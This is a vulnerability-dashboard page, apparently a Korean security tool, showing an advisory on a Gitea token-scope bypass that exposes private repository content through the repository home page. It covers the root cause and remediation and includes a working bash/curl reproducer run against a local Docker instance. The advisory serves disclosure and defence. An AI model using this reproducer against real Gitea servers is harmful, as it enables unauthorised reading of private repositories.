Kestrel
대시보드로 돌아가기
CVE-2026-58444MEDIUM· 4.3GHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
4.3medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.14.3MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

상세 설명

Summary

A personal access token (PAT) or OAuth2 token that does not carry the
repository scope or that is public-only is correctly rejected (HTTP 403)
by the recently hardened web content routes (archive download, raw/media file
download, and repository RSS/Atom feeds). However, the repository home page route
GET /{owner}/{repo} (handler repo.Home) serves the private repository's
rendered README, root file/directory tree, description, language statistics,
license, and latest-release information to that same token.

This is a token-scope enforcement bypass and private-repository content
disclosure. It is the same source→sink pattern already fixed for neighbouring
routes in:

  • GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
  • GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds

repo.Home is the remaining token-auth-enabled content route that was not given
the guard.

Details / Root cause

Web routes accept token authentication only when explicitly opted in with
webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries
AllowBasic (added so that go get can resolve private modules):

text
1// routers/web/web.go:1256
2m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
3 context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
4 repo.SetEditorconfigIfExists, repo.Home)

When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go
sets IsApiToken = true and records ApiTokenScope:

text
1// services/auth/basic.go
2store.GetData()["IsApiToken"] = true
3store.GetData()["ApiTokenScope"] = token.Scope

The patched sibling handlers all call the web-side scope guard
context.CheckRepoScopedToken(...), which enforces both the public-only
restriction and the repository scope:

text
1routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g
2routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww
3routers/web/repo/attachment.go:190 (attachments / release assets, centralized)
4routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w

repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its
only gate is checkHomeCodeViewable, which verifies the user's permission and
that the code unit is enabled neither of which constrains the token's scope.
The README, file listing, and sidebar are then rendered. (The
handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo
view is not.)

Proof of Concept

Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to
the source commit above). A private repository admin/secretrepo is created, and
a token is minted with only the read:user scope (no repository scope).

text
1=== anonymous baseline (repository is private) ===
2 anon GET /admin/secretrepo HTTP=404
3=== same no-repo-scope token across routes ===
4 API repo get (proves token lacks repo scope) HTTP=403 canary=0
5 /admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0
6 /admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0
7 /admin/secretrepo.rss (control) HTTP=403 canary=0
8 /admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1

A second token with scope public-only,read:repository behaves identically:
/archive → 403, but /admin/secretrepo → 200 and returns the private content.

canary=1 means the private README marker was returned in the HTML response; the
private file name SECRET.md is also disclosed in the rendered file tree.

Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):

bash
1#!/usr/bin/env bash
2set -euo pipefail
3N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
4docker rm -f $N >/dev/null 2>&1 || true
5docker run -d --name $N \
6 -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
7 -e GITEA__server__ROOT_URL=http://localhost:3000/ \
8 -e GITEA__service__DISABLE_REGISTRATION=true \
9 -p 3000:3000 gitea/gitea:main-nightly >/dev/null
10for i in $(seq 1 40); do
11 [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
12docker exec -u git $N gitea admin user create --admin --username admin \
13 --password "$PW" --email admin@example.com --must-change-password=false >/dev/null
14curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
15 -H 'Content-Type: application/json' \
16 -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
17SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
18 | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
19curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
20 -H 'Content-Type: application/json' \
21 -d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
22TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
23 --scopes read:user --token-name norepo --raw | tail -1)
24echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
25for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
26 o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
27 echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
28done
29echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
30docker rm -f $N >/dev/null

Impact

Any holder of a non-repository-scoped or public-only token belonging to a user
who has access to private repositories can read those repositories' README, root
file/directory listing, description, languages, license, and latest release
content the token was explicitly scoped to be unable to read. This defeats the
purpose of fine-grained and public-only tokens (for example a CI token granted
only read:issue, or a public-only token issued to a third-party integration).

The disclosure is bounded to the repository root view because the deeper
/{owner}/{repo}/src/* routes do not enable AllowBasic.

Suggested remediation

Mirror the sibling handlers: at the start of repo.Home
(routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256,
add:

text
1context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
2if ctx.Written() {
3 return
4}

It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that
render repository data for the same omission notably
actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a
private repository's workflow build status (pass/fail) to a token without the
repository scope (lower impact, possibly intended since badges are designed to
be embeddable, but worth confirming).

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.